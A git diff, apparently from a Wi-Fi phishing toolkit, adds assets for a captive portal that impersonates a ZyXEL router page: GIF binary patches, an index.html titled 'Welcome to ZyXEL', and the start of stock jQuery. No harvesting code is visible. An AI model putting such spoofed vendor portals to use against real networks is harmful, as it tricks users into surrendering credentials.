Portal/sites/Zyxel_it.portal/images/i_home.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_home.gif new file mode 100644 index 0000000000000000000000000000000000000000..92cebe01b5d8b2b29ad464c899634794efa2799f GIT binary patch literal 85 zcmZ?wbhEHb6krf!n8?g9XW5QTX;%6$K0(0}~q+CNBI?xbfgcgNOfb zG4KFg$0W!s2z1w1$LJ6pfdyAn9tH1B-Xfwcot}E!W36nA$@AP9s|uEWNiTkWF<0@= z77_L37T3Mjeck!c(0hHqA9u8^l%L|PJCl@}+}65jr%%>w>o};&aTsVg2hegxRwlQg z@G7;_H5MMsAv z5BGb5C73}HPX$kFec@ObtsQiiAEKOz&7R2}q5#1J2D3d=l{;yP*A2g^Mk?q)mp#zN@eaWH{I>863kG*v-)72T(-gUtFCc7 zSTYw(SkM0N(TiH;JDaQv^JWwTE|r1C> z-30Tr_!j=dI_v^^@rlN~Q(irMb91`Ym$DbO*SEhpv-Hp{)7G06Ri}@}exK1^A$N{{ z$K~&Fw=Q~_T#krcr)MZ|?1A<68K)FJZ3&&j6l}3}{|dA1?k!j5W(A(y`g8ggiAP~& zcJqGS*sq)~tHyPBtNK~zw{zJaa^GCo_i0VwVm9uJ!ZtO|Q;XE@U0QKd^x#X5Y)Bx1 z95?q?#gxt{UI%TjJsDYSy_bK>B%Eu~tqRw_+W#36ejruTU&zYllXy;!;Z)}2kS|U9P{DfAi$V+?2YSVN!M8Ya`sBE zZB;b~>ym9g&06vJfnc=Yj%%g6eh9ziX5E;kX)btTPT#bZhiY^8Z<9M_*?h9){mO6I zd&KjyjShG2y3%kXd(XtnnU+~Bm!u70EMM#&AH z-+p*(2=s27`P$~7-v`+(F|N}kq^BF?yDn@mF)+3l)C#z)yR5jwt$5qAw=7--4(}Qy OY|R|j2g=s}zX<@=P5glX literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_message.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_message.gif new file mode 100644 index 0000000000000000000000000000000000000000..0ec54fd07daca02733f88a144201dfe3124609b6 GIT binary patch literal 211 zcmZ?wbhEHbhv+xGqULKj?cnQ?l? z>Bl?oy(!;%Yx$MuYN?gZlTW)$JuPYPz2x9G=Sinsrkqwwt=M({jg*t$vcun&9{RTU zz*p6j@*D5}Gk}5OPZlt(10q3oGOz|LNGwe8jCyo1Cg-%w;>%~hyqVw~tFN-?GDpy3 z^Xv%>NBA11c&J%0dZk*0YA8)Okkat7jFqW7WrODI-7I~TvBw1DQhRIkj*C2*xyLU5 Jd^-b!H2_m3T%f>@_F8u zJlSL|7YgOFuuL$7q%w)=44%+uhhwN(tDHb#%iRVLhp;$|2y8SG21BCR1VR8ii`-*) literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_percentage_blue.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_percentage_blue.gif new file mode 100644 index 0000000000000000000000000000000000000000..5585b4154d5b626ff630455a53d1cb9055711db4 GIT binary patch literal 146 zcmZ?wbhEHbWMmLxIKseCzw$}frWb9S-c8u~anAmC6SlpoS^ehXlfRWqA8o(#d&SA` z3yyr9x&L$V!Ur49|D3k#P3yX645R?XpDbYIIv^5cCj%@0gNYWW4)HWyRA3Mh;b&}N Gum%9!s4u+$ literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_percentage_center.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/i_percentage_center.gif new file mode 100644 index 0000000000000000000000000000000000000000..e98119d967abd3ccfa598bf30598cfb5e254d069 GIT binary patch literal 96 zcmZ?wbhEHbWMmLx*v!E2^v%~7@4mf!|LygM@9#hVeDeCs+fP5_%{{`Twt|Nq~7{I2+ug#iR~Km^DP1{U56q6{J2j%y~)v*c-XVXy`Ou}(F; literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/join.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/join.gif new file mode 100644 index 0000000000000000000000000000000000000000..1595bc3af6a2291c293f05f2bcb1e7feb5e74f5d GIT binary patch literal 57 zcmZ?wbhEHb IJ`;mA0PhPCq5uE@ literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/loading.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/loading.gif new file mode 100644 index 0000000000000000000000000000000000000000..9dfd3f3d822771f942ecf0b0aa75258757e5d029 GIT binary patch literal 4743 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 aS(nNN+;|=vd2;5Q2*-Ea$Blv+7_0$6));31 literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/plusbottom.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/plusbottom.gif new file mode 100644 index 0000000000000000000000000000000000000000..c86d42731e2d1db31c9d00a105f2930095ceec23 GIT binary patch literal 75 zcmZ?wbhEHb6k-r!XkcWRyZzSx|Nj+#vM@3*Ff!;c00Bsbfk~;Sf92`7_Z#LI>m~4B dv&_j4ys^9{t=#CzMkOWIqn~`P`!X_E0|0%x8Q1^- literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_down_center.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_down_center.gif new file mode 100644 index 0000000000000000000000000000000000000000..daf06026d64b3f51631405899a9517afaf4553b4 GIT binary patch literal 98 zcmZ?wbhEHbWMnX4*v!E2>hpgfaCLQ!iHQje3`|H!2oDdRzvEJ3+g5LHZw3sY_>%=J erUN2DW-zeu8?-R5+H3Kemq~~-k;j#V!5RRvY8UYU literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_down_left.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_down_left.gif new file mode 100644 index 0000000000000000000000000000000000000000..f61140035b984bf3ef1dc2017f3057ff525f87a8 GIT binary patch literal 329 zcmZ?wbhEHb6lO4BIKsf->+AdK^M4>nNJvO*+Zq!S6CNHO7#Qg7?d|I78W9l@7Z;b5 zl$4T^lAN3z6cjXn$EA>vki^79H#fK7;NaNU*s!p$)YR0-$jGRusOaeES(`5S`}?P* zrFnRG1Ox;q{$ybQ0UZzlvXg=J*n#onolALd(IS6@H= zvpTlEsj{ItFR-GMjlZRntG6RqluM+~LWo;JkVTql{(^-Ic(^6SR9RN8TD^)#iAzwP zfkRGs8|RLloP0B-Hn7Vu9O5`~^a$@d?tNl{BK-X97cX7pG4sbypP3aItN|S%c)$Pv literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_down_right.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_down_right.gif new file mode 100644 index 0000000000000000000000000000000000000000..156fa72bf58ff90e8308e29e80ee3cab23ca055e GIT binary patch literal 331 zcmV-R0kr-{Nk%w1VG{r_0K@R8(PMVMazqU0q#MQ&Uz}R%K;nSy@?HT3TCMTV`fv zPft%sNJvmnP@1yPA^8LV00000EC2ui022T(000HZpdd6sX`TXM9K|4#XPmBWW5=?} z4tPKBJ>0Jq%+Yv7(-4^qESse#RNAB_twn55>(ddZUgk9nb&|oyGFN!6w#R8SQ2uqt z?Q?t`p6BngZ-94xVuF2!e_MfygMbi+iVzHmT@?%zE+U$nnjZua7zz>uq@|{&1{N6# z2@9^T3lp*(2ml@tlLH9|yuG{tz#Im+8ln#d$jQhM5ET&?48^(*2i4Zr3=9|<1q!+k d4h7=lhpgfh>3{_3=EvV<5GBdctS!#V%t{5pDYX@paUX6Y8jY0 PGlGg44ZIwjm>8@9Kl&5; literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_main_right.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_main_right.gif new file mode 100644 index 0000000000000000000000000000000000000000..3c304c480a0a55809682b284e95d5c5dae96c798 GIT binary patch literal 68 zcmZ?wbhEHb6lP##Sj52a>hpgfh>3{_3=EvV<5GBdctS!#V%t{5pDYX@paUX6Y8jY0 QB^)pOd)TAo!^B_>08IiF(f|Me literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_top_center.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_top_center.gif new file mode 100644 index 0000000000000000000000000000000000000000..ee53daed4eb9bb31b4648f33dc6ea959bd3ffc19 GIT binary patch literal 155 zcmZ?wbhEHbWMt4~IKsei`^~@q|NozP_V?0@f7f39OGrpaPEJ1e?C<;?m#)70cm4Ih zn3$N0FaF(n^Y6x+e~E2dk3RTu`Q^WxZ~k3){`c&&zYK(c;!hT^5*-i;vXg;TVnLve cKf|1iRZJ5cWQC1gI2T$3HM7**Z)dOu06-i+jQ{`u literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_top_left.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_top_left.gif new file mode 100644 index 0000000000000000000000000000000000000000..70958b68cf3bf1b1bd44914548382f53e0ea2b15 GIT binary patch literal 394 zcmV;50d@XINk%w1VG{r?0K@>$syEUJU2 z?>yh&okbBBW+42_Nq0g;gla*~q^2nZ7w7ZsI~3z(V{7@eP?3mciF z5)z(>s2i#itQ7(la3etw*&-o#>TD4z{(JE$kovV5ZTj+*4Nqq z0CLLX1RB}k;Bp%4>k#Mw2L~B)@9**Q^N9BM@frSd{P_9HP@n+7fCK#rk(01Vl!b`e oKwKoTgPac-Giv-WagBkGAVV7HxJ0B$k{wJ3ibSb0q>vB*JLHziDF6Tf literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_top_right.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/popup_top_right.gif new file mode 100644 index 0000000000000000000000000000000000000000..910ef65bddfaa9d341fbc5c94abd325949b176a1 GIT binary patch literal 380 zcmV-?0fYWWNk%w1VG{r?0K@I1{S69X0 z_+VgQ*X#byHN~@`^Mn++wA`T|NmizwcG9f z+U)+->i)~)`PS+DA^8LV00000EC2ui022T$000H~pd*fCNiJxrqES=^a4ZK4y||*L z?>tZAnV@he9B6(HjB?3bW{v?@bE zrq|~C@Am!L>HGNm{`&m>A^8LV00000EC2ui0Ji}y000F4P{~QFy*TU5yZ>M)j$~<` zXsWJk>%MR-&vb3ycpfHv@BhG{a7Zi~kI1BQ$!t2G(5Q4uty-@<$zaRvdcWYXcuX#v z&*-#z&2GEj@VIs;jK6uCK7Mva__cwwnl=x4XQ(zQ4f1!o$SHqX!8A%FE2n&d<=% z($mz{*4NnC+S}aS-rwNi;^XAy$^r=s>g(+7?(gvN^7Hid_V@Vt`uqI-{{H|23LHqV zpgMF75-MECu%W|;5F<*QNU@^Dix@L%+{m$`$B!WYLy8 zoJq5$&6_xL>fFh*r_Y~2g9;r=6hVWNMUyIB%CxD|r%E?b^6+>(0%4 zx9`}P6I>cjytwh>$dfBy&b)ac;m{34pDw*R_3PHNW8bd5JNNJ2!-F3$zC8K!=F_8J zuf9F|_wM7vpD({Yd+Av6>)+46zyJRL1}NbFfJXq3fPn}es9=H&F6dx`5I!hjgcMF_ zVTBl8s9}a2Zs=i$Abu!fh$N0^Vu>i8sA7sNj;O^QFvck3j5OA0rn001~(=bd=wspp=2_UY%JfCeh)poA7`=%I)vs_3GOHtOi3kVa}} zCInP!>7|%vs_CYjcIxS;poS{ysHB!^>Zz!vs_Lq&w(9DuuvSWEthCl@>#exvs_U-2 z_UfyrnJ^&iu*4Q??6JrutL(DOHtX!Kv(QE>?X=WZYwfkzW~=SC+;%H0o!*8k?zrTZ zYwo$|rmOC{%Vr|LyYR*<@4WQZYwx}I=Bw|%{PyebzW@g;@W2EYZ1BMdC#>+hbS~`h z!w^R-@x&BYZ1KeyyeIc!|vN%P_}G7RoZ$Z1c@e wxs3D9Jon5K%{~V$^w2BmO!U!6-wbrpOgEjf(N0G#HOEU&ZS~cB(HQ{%JLAnus>%76nX{$v5m k=zvI&oeZp^3Kv)!iygz7LXIu*5ZP>VB+!M)poPI203mluRsaA1 literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_top_left.gif b/attacks/Captive Portal/sites/Zyxel_it.portal/images/table_top_left.gif new file mode 100644 index 0000000000000000000000000000000000000000..584d24261287fb924ff733fb2b5f1ca8dc9c3def GIT binary patch literal 149 zcmV;G0BZk7Nk%w1VFdsh0J8u9!q)J;)9>Ht_L;lr^Y{DO=l0j-^~Txpztr%_+w!>2 z?$qM+tHHt_L;lr^Y{DO=l0j-^~Txpztr%_+w!>2 z?$qM+tHTi3gJ^aD&}Vc2H~<`jgBF`e9JpQVL?S4I GA^zI&dCvKr@A>|I=kolJJ&`>F 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 B#CZS! literal 0 HcmV?d00001 diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/index.html b/attacks/Captive Portal/sites/Zyxel_it.portal/index.html new file mode 100644 index 0000000..2f46a3e --- /dev/null +++ b/attacks/Captive Portal/sites/Zyxel_it.portal/index.html @@ -0,0 +1,4 @@ + .::Welcome to ZyXEL::.
\ No newline at end of file diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/js/jquery-2.1.4.min.js b/attacks/Captive Portal/sites/Zyxel_it.portal/js/jquery-2.1.4.min.js new file mode 100644 index 0000000..49990d6 --- /dev/null +++ b/attacks/Captive Portal/sites/Zyxel_it.portal/js/jquery-2.1.4.min.js @@ -0,0 +1,4 @@ +/*! jQuery v2.1.4 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof 